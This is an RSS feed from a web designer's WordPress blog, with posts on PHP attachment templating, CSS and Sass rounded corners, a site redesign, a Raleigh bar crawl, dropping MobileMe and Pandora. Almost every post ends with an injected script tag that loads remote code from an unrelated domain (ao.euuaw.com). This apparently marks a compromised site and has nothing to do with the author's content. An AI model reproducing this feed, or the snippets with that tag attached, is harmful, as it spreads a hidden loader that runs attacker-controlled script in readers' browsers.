<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Les James &#124; Design &#38; Stuff</title>
	<atom:link href="http://lesjames.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://lesjames.com</link>
	<description>Les James is a web designer and beer fan. CSS and brown ales make him happy.</description>
	<lastBuildDate>Mon, 19 Jul 2010 16:01:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Templating WordPress Image Attachments</title>
		<link>http://lesjames.com/373/templating-wordpress-image-attachments/</link>
		<comments>http://lesjames.com/373/templating-wordpress-image-attachments/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 01:58:28 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[template]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=373</guid>
		<description><![CDATA[Wordpress doesn't come with any native tags to template post attachments so I came up with a function to help. Simply include a chunk of code in your functions.php file and call the function from inside the loop. The function returns and array with multiple pieces of info about your post attachments.]]></description>
			<content:encoded><![CDATA[<p>One of the problems I&#8217;ve encountered while templating for WordPress is the lack of tags for post attachments. I want full control over how post images appear in my template and I don&#8217;t want to use WordPress&#8217;s &#8220;Insert into post&#8221; which simply inserts an attachment into the post content. So I hit up Google and came across some code by <a href="http://www.rlmseo.com/blog/get-images-attached-to-post/">John Crenshaw</a>. He created a function to write out the first image attachment for a post. I needed something more powerful than that but I love the way he bubble sorted the attachments so that I could use WordPress&#8217;s attachment order in my template. Here is the first part of the function that grabs the post attachments, resorts them and creates an array.</p>
<pre><code>
// Get images for this post
$arrImages =&#038; get_children('post_type=attachment&#038;post_mime_type=image&#038;post_parent=' . get_the_ID() );

// If images exist for this page
if($arrImages) {

// Get array keys representing attached image numbers
$arrKeys = array_keys($arrImages);

// Put all image objects into new array with standard numeric keys
foreach($arrImages as $oImage) {
	$arrNewImages[] = $oImage;
}

// Bubble sort image object array by menu_order
for($i = 0; $i < sizeof($arrNewImages) - 1; $i++) {
	for($j = 0; $j < sizeof($arrNewImages) - 1; $j++) {
		if((int)$arrNewImages[$j]->menu_order > (int)$arrNewImages[$j + 1]->menu_order) {
			$oTemp = $arrNewImages[$j];
			$arrNewImages[$j] = $arrNewImages[$j + 1];
			$arrNewImages[$j + 1] = $oTemp;
		}
	}
}

// Reset arrKeys array
$arrKeys = array();

// Replace arrKeys with newly sorted object ids
foreach($arrNewImages as $oNewImage) {
	$arrKeys[] = $oNewImage->ID;
	$captions[] = $oNewImage->post_excerpt;
}
</code></pre>
<p>After an ordered array of post attachments is created I wrote some code to create a new array with data about each attachment. I pull data for the image&#8217;s thumbnail url, full size url, caption, width, height and ID. Here is how the array is built&#8230;</p>
<pre><code>
// Build image array
for ($i=0; $i < sizeof($arrKeys); $i++){
	$iNum = $arrKeys[$i];

	// get various image sizes
	$image_thumb = wp_get_attachment_image_src($iNum, $size='thumbnail');
	// $image_large = wp_get_attachment_image_src($iNum, $size='large');
	$image_full = wp_get_attachment_image_src($iNum, $size='full');

	// store image thumbnail(0) and full url(1)
	$image_service[$i][0] = $image_thumb[0];
	$image_service[$i][1] = $image_full[0];

	// store image caption(2)
	$image_service[$i][2] = $captions[$i];

	// get the image dimensions
	// store image width(3) and height(4)
	$image_service[$i][3] = $image_full[1];
	$image_service[$i][4] = $image_full[2];	

	// get attachment id
	$image_service[$i][5] = $iNum;
}
</code></pre>
<p>Here is the full function to place in your functions.php file: <a href="http://gist.github.com/466100">WordPress Post Attachments Function</a></p>
<p>All of this only builds an array for you. None of it places an attachment into your template. To do that you just need to call the function inside of the loop and place the array data where you need it. To call the first image attachment, say for adding a thumbnail to the post excerpt on your homepage you just need to pull the thumb url from the array we built earlier.</p>
<pre><code>
&lt;?php $image_service = gallery_images(); ?&gt;

&lt;figure&gt;&lt;img alt="&lt;?php echo $image_service[0][2]; ?&gt;" src="&lt;?php echo $image_service[0][0]; ?&gt;" /&gt;&lt;/figure&gt;
</code></pre>
<p>Notice the array has two dimensions. The first one in this case is [0], meaning we are pulling the first attachment from the array (remember that arrays start with zero). You can see in the alt tag the second dimension is [2] because this is the position we stored the attachment caption. The source of the img tag uses [0][0] which calls the first attachment's thumbnail url. Getting how this works?</p>
<p>So what about pulling more than one image? To do this we just need to make a loop and cycle through our array like this...</p>
<pre><code>
&lt;?php for($i = 0; $i &lt; sizeof($image_service); $i++) { ?&gt;

&lt;figure&gt;&lt;img alt="&lt;?php echo $image_service[$i][2]; ?&gt;" src="&lt;?php echo $image_service[$i][0]; ?&gt;" /&gt;&lt;/figure&gt;

&lt;?php } ?&gt;
</code></pre>
<p>Replacing the array's first dimension with [$i] from the loop allows you to pull all of the attachments for your post.</p>
<p>If you need different layouts for horizontal or vertical photos just pull the image width [3] or height [4], do your if statement math and template away. Using the loop allows you to easily create your own gallery too. Wrap an anchor tag around a thumbnail image and link to the full size url to create an easy, template generated thickbox. Since WordPress generates a thumbnail, medium and large size for everything you upload it's easy to grab different media types. You can see where I commented out the large image media type. Just add another array position to have access to it. Remember that if you are going to template different media sizes set your image dimensions in WordPress under Settings -> Media.</p>
<p>Hit me up if you have any questions and if you find a way to improve this code please share it.<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/373/templating-wordpress-image-attachments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yet Another Redesign</title>
		<link>http://lesjames.com/279/yet-another-redesign/</link>
		<comments>http://lesjames.com/279/yet-another-redesign/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 19:43:57 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[redesign]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=279</guid>
		<description><![CDATA[Once again, I'm redesigning my site. Go ahead and throw a beta sticker on this one because I'm throwing code up here whether it's polished or not.

I'm busy trying to figure out how to properly display blog and portfolio entries without getting too crazy. Right now about the only page on this site that is finished is about me.]]></description>
			<content:encoded><![CDATA[<p>Well I&#8217;m actually shocked it took me this long but it&#8217;s finally come&#8230; another redesign for this site. I&#8217;m going to do a couple things different with this redesign. First I&#8217;m not going to wait for a finished product to launch. This means that what you see now is very much a work in progress. Call it a beta if you want, but I&#8217;m not going to wait the weeks it will take to publish a finished design. In fact I hope that this site is never finished! It should be able to constantly evolve and iterate forward.</p>
<p>Here are some reasons for the redesign. First of all I needed a fresh start. My old site was based off of the Viewport Theme. Even though it was heavily modified it was still someone elses design at the core. I&#8217;m writing my new site from scratch, in HTML5 and SASS. This will give me a strong, flexible foundation to build from in the future.</p>
<p>I have some goals for this site. First it needs great typography. It needs to be clean and minimalistic. Finally the code has to be totally semantic. That means no extra div tags for style. Some secondary goals would be to have a strong presentation for post assets and make use of CSS transforms and transitions. jQuery and I are still best friends but I want to play around with some advanced CSS.</p>
<p>The overall feeling of the site needs to leave the user with the impression that I&#8217;m a true web professional who probably wears sandals to work. I&#8217;ll be updating this site mainly with blog posts and work from my portfolio. I&#8217;m going to ditch all of the sidebar crap that I used to have like tweets and delicious links. I&#8217;m going with the loose the clutter philosophy.</p>
<p>So stay tuned and bare with me as I clean this place up. I hope to make this place a real design blog someday and not just a place for randomness. Okay maybe some randomness.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/279/yet-another-redesign/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proper Rounded Corners</title>
		<link>http://lesjames.com/262/proper-rounded-corners/</link>
		<comments>http://lesjames.com/262/proper-rounded-corners/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 15:55:01 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[border radius]]></category>
		<category><![CDATA[css3]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=262</guid>
		<description><![CDATA[I was guilty. I admit it, I was doing rounded corners wrong. In my current project I am using CSS3 to round the corners on containers. These containers have internal elements that get separated by a thin border. I was rounding the corners on those internal elements with the same radius as the wrapper container. [...]]]></description>
			<content:encoded><![CDATA[<p>I was guilty. I admit it, I was doing rounded corners wrong. In my current project I am using CSS3 to round the corners on containers. These containers have internal elements that get separated by a thin border. I was rounding the corners on those internal elements with the same radius as the wrapper container. I never noticed it before but this is the wrong way to do it.</p>
<p>Check out this post on what <a href="http://www.usabilitypost.com/2009/01/26/the-proper-way-to-draw-rounded-corners/">properly round corners</a> are.</p>
<p><img class="float" src="http://lesjames.com/wp-content/uploads/2010/04/proper-corners.gif" alt="" title="proper-corners" width="140" height="243"  /></p>
<p>So what was the difference in my project? I took screenshots of before and after and animated a GIF with them so that you can see the difference. Yes it&#8217;s very subtle, but the perfectionist in me is much happier with the proper method.</p>
<p>I was rounding both outer and inner elements with a 5px radius. After I learned my lesson I&#8217;m rounding the outer elements with a 5px radius and the inner element with a 4px radius. What do you think of the difference?<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/262/proper-rounded-corners/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile Safari and Border Radius</title>
		<link>http://lesjames.com/247/mobile-safari-and-border-radius/</link>
		<comments>http://lesjames.com/247/mobile-safari-and-border-radius/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 13:58:25 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[border radius]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[longhand]]></category>
		<category><![CDATA[mobile safari]]></category>
		<category><![CDATA[sass]]></category>
		<category><![CDATA[shorthand]]></category>
		<category><![CDATA[webkit]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=247</guid>
		<description><![CDATA[Webkit is cool with border radius shorthand but not mobile safari. I ended up having to modify my Sass mixin to use webkit longhand for border radius.]]></description>
			<content:encoded><![CDATA[<p>One of the first things I wanted to do with my new iPad was to check out my latest project on it. Right away I noticed that the CSS rounded corners I had on elements weren&#8217;t showing up. My first thought was I coded something wrong, but checking the site on Webkit and Chrome confirmed that my rounded corners were showing up fine. So I started thinking that Mobile Safari somehow forgot to add border radius to it&#8217;s css rendering. I was wrong again. I started doing some testing by building a simple page with a box on it. I added -webkit-border-radius: 5px; and it worked great on the iPad. So I copied the styles from my project and applied them to the box. No rounded corners! I started eliminating styles for fear that something was conflicting with -webkit-border-radius. Turns out that Mobile Safari doesn&#8217;t like the shorthand way of writing the style. Check out the comparison shots I took below of the same page.</p>
<p>Here are what the boxes look like in Webkit&#8230;</p>
<p><img style="width: 577px" title="ipad" src="http://lesjames.com/wp-content/uploads/2010/04/webkit.png" alt="Webkit border radius" /></p>
<p>Here are what the boxes look like on the iPad&#8230;</p>
<p><img style="width: 577px" title="ipad" src="http://lesjames.com/wp-content/uploads/2010/04/ipad.png" alt="iPad border radius" /></p>
<p>I don&#8217;t understand why Mobile Safari is treating the shorthand version of the style differently than Webkit. It sucks because I use the shorthand way to change individual corners on elements (some boxes in my project only need the top corners rounded). I would hate to write a style for each individual corner the longhand way like -webkit-border-top-left-radius: 5px;</p>
<p>[Update]</p>
<p>SASS to the rescue:</p>
<pre><code>
// Border Radius
@mixin border_radius($tl: 5px, $tr: 5px, $br: 5px, $bl: 5px) {
  -moz-border-radius: $tl $tr $br $bl;
  -webkit-border-top-left-radius: $tl;
  -webkit-border-top-right-radius: $tr;
  -webkit-border-bottom-right-radius: $br;
  -webkit-border-bottom-left-radius: $bl;
  border-radius: $tl $tr $br $bl;
}</code>
</pre>
<p>By modifying my mixin to include the longhand styles for webkit border radius will now show up on mobile safari. This is another reason why Sass kicks ass because I only had to modify this single mixin and my entire project got updated. Just another reason why if you write CSS for a living you need to be using <a href="http://sass-lang.com">Sass</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/247/mobile-safari-and-border-radius/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Raleigh Bar Golf</title>
		<link>http://lesjames.com/234/raleigh-bar-golf/</link>
		<comments>http://lesjames.com/234/raleigh-bar-golf/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 16:53:58 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[bar crawl]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[gowalla]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[raleigh]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=234</guid>
		<description><![CDATA[Bar golf is a very simple game. It simply adds a little gaming element to the standard bar crawl. Have one drink at each stop along the way and you shoot par. Having a second drink at a stop means that you shoot a birdie. Want to score an eagle, have three drinks at one [...]]]></description>
			<content:encoded><![CDATA[<p>Bar golf is a very simple game. It simply adds a little gaming element to the standard bar crawl. Have one drink at each stop along the way and you shoot par. Having a second drink at a stop means that you shoot a birdie. Want to score an eagle, have three drinks at one stop.</p>
<p>Scores lower than an eagle are of course possible, but ill advised. Stops at each bar usually only last 30-45 minutes and pacing yourself is important unless binge drinking is your thing.</p>
<p>So what counts as a drink? A standard beer/pint, mixed drink or shot each count as one drink. If you want to order a mixed drink with a double shot then that can count as two.</p>
<p>Let me just say that bar golf is meant to be a very casual event. There is nothing to win and having bragging rights will do you no good if you have to be carried out of a place. I would encourage everyone to drink responsibly and just have fun. Everyone is responsible for keeping their own score so bring a little score card, tweet your progress or just have a good memory. Again, you shouldn&#8217;t be taking this too seriously.</p>
<p>So what&#8217;s the course?</p>
<ul>
<li><strong>First tee &#8211; Mellow Mushroom:</strong> The mushroom makes for an awesome starting tee because it&#8217;s a great chance to start early with some food. Filling up on pie makes the entire crawl easier. This also provides some great scoring opportunities. Having two or three beers while you take down pizza is a great way to start off with a low score. We have also been known to kick the afternoon off with a shot too. Birdies and eagles here are very common.</li>
<li><strong>Hole two &#8211; MoJoe&#8217;s Burger Joint:</strong> The second hole on this course is a quick jump across the street from the mushroom. If it&#8217;s a nice day outside MoJoe&#8217;s provides an excellent birdie opportunity because it&#8217;s easy to hang out on their deck for more than one drink. There is no official time limit to any stop and it&#8217;s easy to spend a little longer at MoJoe&#8217;s and soak up the sun.</li>
<li><strong>Hole three &#8211; Armadillo Grill:</strong> Another great patio stop and Dos Equis is a must here. Everyone is feeling good and the pace has been relaxed to this point. Enjoy it now because things usually ramp up from here.</li>
<li><strong>Hole four &#8211; Hibernian Pub:</strong> It&#8217;s pretty much a tradition now that you have to do a car bomb here. This of course is not required and you can certainly make this your only drink here. In my experience, this hole is usually the turning point for me.</li>
<li><strong>Hole five &#8211; Tobacco Road:</strong> A new spot for this crawl. This would probably be an excellent time to grab a quick appetizer.</li>
<li><strong>Hole six &#8211; Napper Tandy&#8217;s:</strong> This is usually the point where the crawl starts to fragment into smaller groups that move at their own pace. Remember there is no time bonus for finishing first!</li>
<li><strong>Hole seven &#8211; Vintage Bar and Lounge:</strong> The Blue Martini was a staple during our previous crawls so it makes sense that we stop at Vintage. This place is brand new so I&#8217;m looking forward to checking it out.</li>
<li><strong>Hole eight &#8211; The Ugly Monkey:</strong> You can probably imagine what everyone is feeling like at this point. Fortunately the monkey is a quick stop. Spin the shot wheel, drink the concoction they put in front of you and head across the street for the finish line.</li>
<li><strong>Hole nine &#8211; The Flying Saucer:</strong> Congrats you made it. Please get some food to go along with your final beer. If you are still in good shape go for a birdie, eagle, double eagle… whatever. Hope you had fun along the way!</li>
</ul>
<p>There is a back nine to this course that starts at The Pit and finishes in city market. I&#8217;ll post details about it sometime this summer. There has been talk of trying all 18 in one day but I need to remember I&#8217;m not in my 20&apos;s anymore.</p>
<p>For people that have smartphones (anything with GPS), I would encourage everyone to checkin with Gowalla during the crawl. The more people that complete the <a href="http://gowalla.com/trips/425">trip on Gowalla</a> the better chance I&#8217;ll have at lobbing them to make it a featured trip for Raleigh.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/234/raleigh-bar-golf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The MobileMe Transition</title>
		<link>http://lesjames.com/217/the-mobileme-transition/</link>
		<comments>http://lesjames.com/217/the-mobileme-transition/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 18:41:03 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=217</guid>
		<description><![CDATA[A month or two ago I decided that I was through paying $99 a year for MobileMe. I have been using the service for a couple years now. There are some great things about the service, especially for a guy like me who is a total Apple fan boy. But the cost is just too [...]]]></description>
			<content:encoded><![CDATA[<p>A month or two ago I decided that I was through paying $99 a year for MobileMe. I have been using the service for a couple years now. There are some great things about the service, especially for a guy like me who is a total Apple fan boy. But the cost is just too much and there are plenty of other options out there.  The services that I used the most are:</p>
<ul>
<li>Email</li>
<li>Contacts</li>
<li>Calendar</li>
<li>Sync</li>
<li>iDisk</li>
<li>Photos</li>
</ul>
<p>Email is the real biggie here but also the easiest to transition off of. Actually it&#8217;s going to be really nice to get a fresh email account. I finally took les at lesjames dot com and ported it over to Google Apps (Gmail). Mac Mail and my iPhone both sync nicely with Gmail. I still have push and great web access. The nice thing about all this is that I still have a couple months left of MobileMe so I can slowly ween myself off of it.</p>
<p>Photos and iDisk were never great with MobileMe so I have no problems here. I&#8217;m going to use Flickr as my photo repository and Dropbox is just about the coolest thing since Nintendo (I&#8217;m going to start using Nintendo instead of sliced bread as my default measuring stick of coolest since). BTW if anyone wants to <a href="https://www.dropbox.com/referrals/NTIwODcyMzQ5">give Dropbox a whirl</a> use that link because we will both get extra space.</p>
<p>Sync is going to be the biggest loss here. I love how MobileMe keeps my laptop, cloud and iPhone all in perfect sync. It&#8217;s the tight integration you would expect from Apple having control over both the hardware and software. I&#8217;m pretty sure I can get contacts to sync up but I&#8217;m scared of calendars. The other nice thing about MobileMe was it synced my computer preferences too. When my laptop went down for a week between MobileMe sync and Time Machine I didn&#8217;t miss a step on my loaner Mac. I&#8217;ve also never had to use MobileMe to find my lost iPhone (knocking on wood now), but when I turn the service off I just know that is when Find My iPhone is going to come in handy.</p>
<p>I&#8217;m going to start transitioning my contacts to Google so hopefully it goes smoothly. I&#8217;ll give it a couple weeks and then report back. I&#8217;m saving calendars for last because I just know that will end up being a pain. Any advice would be greatly appreciated.</p>
<p>[Update]<br />
So I have switched off MobileMe contact syncing for my iPhone and laptop.  Fortunatly Mac Address book has an option for syncing with Google Contacts.  When I set up my gmail account on the iPhone it magically started syncing my contacts too. The process wasn&#8217;t entirely painless because I had a tough time with duplicate and sometimes triplicate contact entries showing up, but I think everything is in sync now. As a side note, my contacts in Google Apps and my Google Account are completely different lists and I can&#8217;t get the two to sync. So I wiped out my contacts from my account (not gmail in apps).  The whole thing was quite confusing there for a little while.  Google should do a better job of meshing my account with Apps.</p>
<p>I&#8217;m going to let the dust settle with contacts before I try and tackle calendars. I&#8217;ll update when I give it a go.</p>
<p>[Update]<br />
When I switch off MobileMe I will lose the Find My iPhone feature which thankfully I have never needed. This app could be a nice alternative: <a href="http://www.macrumors.com/iphone/2009/11/12/undercover-1-5-adds-push-notification-tool-to-iphone-theft-recovery-app/">Undercover</a></p>
<p>[Update]<br />
Thanks to this great article on <a href="http://iphone.appstorm.net/how-to/synchronization/harmonize-iphone-ical-with-google-calendar/">iPhone.AppStorm</a> I have now transitioned off of MobileMe calendars and switched to Google. This was the last piece of the puzzle. Yay!</p>
<p>[Update]<br />
I have turned off MobileMe on my computer. All mail, contacts and calendars are being handled by Google now. I feel like I&#8217;m a step closer to digital harmony.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/217/the-mobileme-transition/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Tweetie 2 Brought It All Together</title>
		<link>http://lesjames.com/215/how-tweetie-2-brought-it-all-together/</link>
		<comments>http://lesjames.com/215/how-tweetie-2-brought-it-all-together/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 18:46:02 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=215</guid>
		<description><![CDATA[As a web designer it&#8217;s extremely important that I stay on top of the latest news and trends in the world of design. Twitter has been a huge help with this. Before Twitter, I would scan a handful of design blogs to see if there was anything new and interesting. I have Google Reader set [...]]]></description>
			<content:encoded><![CDATA[<p>As a web designer it&#8217;s extremely important that I stay on top of the latest news and trends in the world of design. Twitter has been a huge help with this. Before Twitter, I would scan a handful of design blogs to see if there was anything new and interesting. I have Google Reader set up with all my favorites but I never really use it. It just feels like information overload at times.</p>
<p>Now I know what you are saying, Twitter and information overload often go hand and hand. I completely agree. It&#8217;s extremely difficult to keep up with. That is why I love Tweetie 2, specifically it&#8217;s integration with Instapaper. Now I never used Instapaper before but signing up is really easy. Now when I&#8217;m browsing through my Twitter feed and I see something that looks interesting I can post it to Instapaper to read later. This is very useful because I often don&#8217;t have time to read everything that looks interesting.</p>
<p>When I do find time to catch up on all my design news, I go to my Instapaper site and open each clipping into it&#8217;s own tab. I start reading everything and if something is especially good then I save it to my Delicious account. This allows me to go back through my &#8220;design library&#8221; in case I need that page again. It&#8217;s a wonderful system that I have going.</p>
<p>Before Instapaper I would favorite links through Twitter to read later but this isn&#8217;t exactly what the feature was made for. I&#8217;d have to clean out my favorite tweets after I caught up on things. There is no cleaning out Instapaper. When you click on a link to read Instapaper automatically takes the link out of the queue and archives it.</p>
<p>It&#8217;s now super easy to stay on top of everything I want to because of <a href="http://twitter.com">Twitter</a>, <a href="http://www.atebits.com/tweetie-iphone/">Tweetie 2</a>, <a href="http://instapaper.com">Instapaper</a> and <a href="http://delicious.com">Delicious</a>. If your a designer or if you follow any kind of niche subject I would try this kind of system out.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/215/how-tweetie-2-brought-it-all-together/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Are You Following Me?</title>
		<link>http://lesjames.com/211/why-are-you-following-me/</link>
		<comments>http://lesjames.com/211/why-are-you-following-me/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 05:07:03 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[douchebag]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://lesjames.com/why-are-you-following-me/</guid>
		<description><![CDATA[Hey there Twitter stranger. I see that you are following me now. I wonder what exactly I said to make you follow me? Let&#8217;s look at your profile. Wow, you have 30,000 followers. You must be some kind of local celebrity eh? I&#8217;m feeling pretty cool now. Wait&#8230; you are following 30,000 people too? Am [...]]]></description>
			<content:encoded><![CDATA[<p>Hey there Twitter stranger. I see that you are following me now. I wonder what exactly I said to make you follow me? Let&#8217;s look at your profile. Wow, you have 30,000 followers. You must be some kind of local celebrity eh? I&#8217;m feeling pretty cool now. Wait&#8230; you are following 30,000 people too? Am I comprehending that right? You actually follow 30,000 people. That&#8217;s like trying to listen to every conversation in a baseball stadium! I follow 50 people and I have trouble keeping up with everything, how in the hell are you following that many people?</p>
<p>Do you really think I&#8217;m that dumb. Do you really think that I&#8217;m going to just follow you back? You don&#8217;t care about me or what I have to say. You just want me to boost your stats. I bet you brag about how big you are on Twitter at parties. I bet you tell all your business buddies that you&#8217;re a social media guru. How many of those followers are real people anyway and not just bots or porn spammers? You probably don&#8217;t care do you. It&#8217;s all the same stat boost right?</p>
<p>Not only am I not going to follow you back but you are actually padding my stats now sucker! But that would be pretty hypacritical of me. I guess I&#8217;m going to have to go for the full out block. The shame is that you won&#8217;t even notice when I permanently sever the link between us. But maybe this could be he start of something great. Maybe this rant will inspire other people to block you from their followers list. Come on people. Let&#8217;s drop the &#8220;Internet Marketers&#8221; that only want you to help make them look important. Sure it will knock your stats down a few, but don&#8217;t be so vain. No one cares how many people follow you. Do it! Block those losers! Isolate those punks so that the only ones that actually listen to them are robots and skanks.</p>
<p>If you are feeling adventurous send them a reply that simply asks &#8220;why are you following me?&#8221; Let them know that we aren&#8217;t a mindless mass desparate to connect with anyone and everyone. We have something to say too so if you want my return follow, convince me that you are listening.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/211/why-are-you-following-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating a Lifestream</title>
		<link>http://lesjames.com/204/creating-a-lifestream/</link>
		<comments>http://lesjames.com/204/creating-a-lifestream/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 19:25:15 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Social Media]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[lifestream]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=204</guid>
		<description><![CDATA[I have been giving some thought as to the direction of this site. 90% of this site&#8217;s design is centered about a blog. It doesn&#8217;t take long to notice that I don&#8217;t blog very often. So I have been playing with the idea of turning this site into a lifestream. The design would give equal [...]]]></description>
			<content:encoded><![CDATA[<p>I have been giving some thought as to the direction of this site.  90% of this site&#8217;s design is centered about a blog.  It doesn&#8217;t take long to notice that I don&#8217;t blog very often.  So I have been playing with the idea of turning this site into a lifestream.  The design would give equal weight to these things:</p>
<ul>
<li>Blog</li>
<li>Portfolio</li>
<li>Twitter</li>
<li>Delicious</li>
<li>Pandora</li>
<li>Blippr</li>
<li>Flickr</li>
</ul>
<p>So in one place you could see things that I write, work on, tweet, read, listen to, use and take pictures of.  I would like to keep everything grouped together instead of being a true blended lifestream.  So how would I accomplish this?  I just started playing around with <a href="http://friendfeed.com/lesjames">FriendFeed</a> today.  I&#8217;m not a pro yet but I don&#8217;t like the blended feed that it creates but the ability to comment on each individual item is cool. </p>
<p>The other method I stumbled upon to create a lifesteam is from Yahoo called <a href="http://pipes.yahoo.com/lesjames/lifestream">Yahoo Pipes</a>.  Its complex, powerful and cool all at the same time.  You import data from anywhere you can grab it and send that data through pipes to different modules and filters.  In the end I&#8217;m left with a very customizable lifestream.  The only question is how do I get that stream on my website in a way that allows me total control over it&#8217;s presentation.  It will be something to work on for sure, but this does mean that this site will probably go through another redesign.  You knew it was going to happen, it was only a matter of time.  Four months to be exact.  Ugh!</p>
<p>Stay tuned, I&#8217;m sure I can knock this out by next week.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/204/creating-a-lifestream/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pandora Radio and Newspapers</title>
		<link>http://lesjames.com/196/pandora-radio-and-newspapers/</link>
		<comments>http://lesjames.com/196/pandora-radio-and-newspapers/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 15:07:36 +0000</pubDate>
		<dc:creator>Les</dc:creator>
				<category><![CDATA[Pointless]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[newspapers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://lesjames.com/?p=196</guid>
		<description><![CDATA[Last night while I was cleaning up the kitchen I plugged my iPhone into the living room stereo and cranked up Pandora radio. When I was done cleaning I sat down on the couch with a beer while my wife joined me with a glass of wine. The TV stayed off and we just listened [...]]]></description>
			<content:encoded><![CDATA[<p>Last night while I was cleaning up the kitchen I plugged my iPhone into the living room stereo and cranked up Pandora radio.  When I was done cleaning I sat down on the couch with a beer while my wife joined me with a glass of wine.  The TV stayed off and we just listened to music.  It was a great change of pace that turned out to be a wonderfully relaxing evening.</p>
<p>I thought to myself several times how awesome Pandora is.  A commercial free radio station built just for me delivered right to my living room stereo.  Pandora is the epitome of what the internet should be, all about me.  Exactly what I want, when I want it and how I want it with no strings attached.</p>
<p>This is why I laughed so hard when I downloaded the XM Radio app.  I already subscribe to XM through the unit in my car.  I think I pay around $12 a month.  That price is going up however because the music industry wants more royalties so it will probably be around $15 a month.  Trust me when I say I&#8217;m real close to dropping the service because of this.  So when I fired up the iPhone app for the first time and I got stopped because my subscription isn&#8217;t good enough.  I need to pay an additional $3 a month for online access.  I laughed my ass off and then got really pissed off.  Three more bucks a month for a service I already pay for, just a different delivery method?  They have lost their minds!  Pandora is ten times better then XM and it&#8217;s totally free.</p>
